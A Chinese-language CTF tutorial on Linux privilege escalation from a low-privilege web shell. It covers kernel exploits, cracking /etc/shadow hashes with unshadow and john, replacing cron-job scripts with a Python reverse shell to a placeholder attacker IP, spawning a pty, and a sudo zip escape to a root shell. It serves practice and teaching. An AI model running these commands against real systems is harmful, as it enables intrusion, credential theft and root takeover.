CTF中对web服务器各种提权姿势
在我们拿下服务器web服务往往只是低权限用户,对于内网渗透,我们往往需要root权限,Linux系统提权包括使用溢出漏洞已及利用系统配置文件。
提权前提:
1.拿到低权限shell
2.被入侵机器上有nc,python,perl等常见linux下的工具
3.有权上传下载文件
1. 利用内核漏洞
通杀内核漏洞十分少见,因此我们先应对系统相关进行信息收集。
利用searchsplot
查看发行版本:
cat /etc/issue
cat /etc/*-release
lsb_realse -a
查看内核版本:
uname -a
如果具有内核溢出漏洞我们就上传溢出代码,编译执行
gcc xxx.c -o exploit
chmod +x exploit
./exploit
2. 利用明文root密码提权
Linux密码大多都和/etc/passwd 和 /etc/shadow 这两个配置文件有关。Passwd里储存了用户,shadow里密码的hash。出于安全考虑passwd是全用户可读,root可写,shadow是仅root可读写。
例如 破解linux用户名和对应密码
/etc/passwd /etc/shadow
unshadow passwd shadow >cracked
john cracked
3. 利用定时计划任务
通过查看 /etc/crontab 文件,查看其他用户是否有设定的系统定时任务,并查看对应对应任务内容,执行的任务肯定时对靶场机器的某个文件。
etc/crontab 文件是用来设定系统定期执行任务,需要root权限,不同用户都可以有不同定时任务,如果在 /etc/crontab 下有某个用户执行的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell ,用创建的脚本替换原来的py脚本,netcat执行监听获得对应用户的权限
如果有定时执行任务的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限
import os,subprocess,socket s=socket.socket() s.connect(("攻击机ip地址","攻击机监听端口")) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess(["/bin/sh","-i "])
启动监听: nc -nlvp port
4. 密码复用
管理员可能会设置重复使用的密码,因此可能数据库或者web后台的密码就是root密码
拥有疑似root的秘密可以尝试ssh登录,若禁止root登录或被防火墙挡住,我们就想办法在低权限上输入密码,当然一般情况下linux会要求用户必须从终端设备(tty)中输入密码,禁止标准输入,sudo常常不能使用
因此我们可以用python模拟一个终端 python -c "import pty;pty.spawn('/bin/bash')"
5. 利用zip提权
使用sudo -l 查看当前用户可以使用的root提权命令信息,发现可以执行tar和zip相关命令。
touch exploit sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"